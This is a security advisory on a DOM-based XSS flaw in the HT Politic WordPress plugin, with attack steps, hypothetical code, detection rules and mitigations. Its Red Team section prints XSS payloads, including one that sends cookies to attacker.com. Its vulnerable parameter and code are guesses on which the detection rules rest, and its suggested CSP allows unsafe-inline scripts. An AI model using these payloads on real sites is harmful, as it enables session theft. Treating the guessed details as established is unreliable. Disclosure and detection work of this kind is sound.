CVE-2024-51673

Executive Summary

CVE-2024-51673 is a DOM-Based Cross-Site Scripting (XSS) vulnerability discovered in the HT Politic WordPress plugin (slug: wp-politic) developed by DevItems. The flaw resides in the improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that execute in the victim's browser context. This vulnerability affects all versions of the plugin up to and including 2.4.4. As of this report, no official patch has been released by the vendor, and no public proof-of-concept (PoC) or exploit code is available. The CVSS score of 6.5 (Medium) reflects the need for user interaction but the potential for data theft and session hijacking.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem and the wp-politic plugin. Since it is a WordPress plugin, the supply chain risk is moderate: users who install or update the plugin from the official WordPress plugin repository or third-party sources are affected. No NPM, PyPI, Go, or Ruby packages are involved. The lack of a patch increases the risk of supply chain attacks if the plugin is bundled in themes or other distributions.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. Exploitation requires user interaction, but the impact can include session hijacking, credential theft, and defacement.

Deep Dive & Mechanics

The vulnerability is a DOM-Based XSS (CWE-79) in the HT Politic plugin. The plugin likely processes user-controlled data (e.g., URL fragments, query parameters, or stored data) and injects it into the DOM without proper sanitization. Attackers can craft a malicious URL containing JavaScript payloads that, when visited by an authenticated or unauthenticated user, execute in the context of the WordPress site.

Root Cause: The plugin fails to neutralize input during web page generation, specifically in client-side JavaScript that manipulates the DOM. This is typical of DOM-based XSS where the source (e.g., document.location.hash, document.URL, or window.name) is used unsafely.

Attack Vector:

1. Attacker crafts a URL like: https://victim-site.com/?politic=<script>alert('XSS')</script>.
2. Victim clicks the link.
3. The plugin's JavaScript reads the politic parameter and writes it to the DOM without encoding.
4. The script executes, allowing the attacker to steal cookies, redirect, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code pattern. A typical vulnerable snippet in a WordPress plugin might look like:

// Vulnerable code (wp-politic <= 2.4.4)
var userInput = getParameterByName('politic');
document.getElementById('result').innerHTML = userInput;

A patched version would sanitize the input:

// Patched code (hypothetical)
var userInput = getParameterByName('politic');
var safeInput = document.createTextNode(userInput);
document.getElementById('result').appendChild(safeInput);

Or use a library like DOMPurify:

// Patched code using DOMPurify
var userInput = getParameterByName('politic');
document.getElementById('result').innerHTML = DOMPurify.sanitize(userInput);

Exploitation & Lab Setup

Red Team

Objective: Execute arbitrary JavaScript in the victim's browser.

Prerequisites:

• A WordPress site with HT Politic plugin <= 2.4.4.
• A victim user (any role) who clicks a crafted link.

Steps:

1. Identify the vulnerable parameter (e.g., politic, tab, or view).
2. Craft a payload: https://victim-site.com/?politic=<img src=x onerror=alert(document.cookie)>.
3. Send the link to the victim via email, social engineering, or a redirect.
4. The payload executes, stealing cookies or performing actions.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection:

• Monitor web server logs for requests containing suspicious query parameters (e.g., <script>, onerror, javascript:).
• Use WAF rules to block common XSS patterns.
• Deploy CSP headers to mitigate script execution.

Hunting:

• Search for wp-politic plugin files for innerHTML, document.write, or eval usage.
• Check for unexpected DOM modifications in client-side JavaScript.

Lab Setup:

• Use a local WordPress instance with the vulnerable plugin.
• Simulate attacks using Burp Suite or a browser console.
• Validate detection rules with generated traffic.

Indicators of Compromise (IOCs)

• URL Patterns: ?politic=<script>, ?politic=javascript:, ?politic=onerror=.
• Network Traffic: Outbound requests to attacker-controlled domains from the victim's browser.
• Log Entries: HTTP requests with politic parameter containing HTML/JavaScript.
• File Hashes: (None available, but monitor for modified plugin files.)
• DOM Changes: Unexpected script elements or event handlers injected into the page.

Detection Engineering

YARA Rule

rule CVE_2024_51673_DOM_XSS {
    meta:
        description = "Detects DOM-based XSS in HT Politic plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51673"
    strings:
        $vuln_func1 = "innerHTML" nocase
        $vuln_func2 = "document.write" nocase
        $vuln_func3 = "outerHTML" nocase
        $plugin_id = "wp-politic" nocase
    condition:
        $plugin_id and any of ($vuln_func*)
}

Sigma Rule

title: CVE-2024-51673 DOM-Based XSS in HT Politic Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with suspicious query parameters targeting HT Politic plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - "politic=<"
            - "politic=javascript:"
            - "politic=onerror"
    condition: selection
falsepositives:
    - Legitimate use of HTML in parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-51673 DOM-Based XSS in HT Politic Plugin"; flow:to_server,established; content:"politic="; http_uri; pcre:"/politic\s*=\s*.*<[^>]*script/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) with rules to block XSS payloads in query parameters.
3. Add Content Security Policy (CSP) headers to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none'
   

   (Note: unsafe-inline may be needed for legacy compatibility but should be avoided if possible.)

Long-Term Fix:

• The vendor must release a patched version that sanitizes all user inputs before DOM insertion.
• Users should monitor the WordPress plugin repository for updates.

Workaround:

• If the plugin is critical, manually patch the JavaScript files to use textContent instead of innerHTML or use a sanitization library like DOMPurify.

Valters IT
Securing Digital Frontiers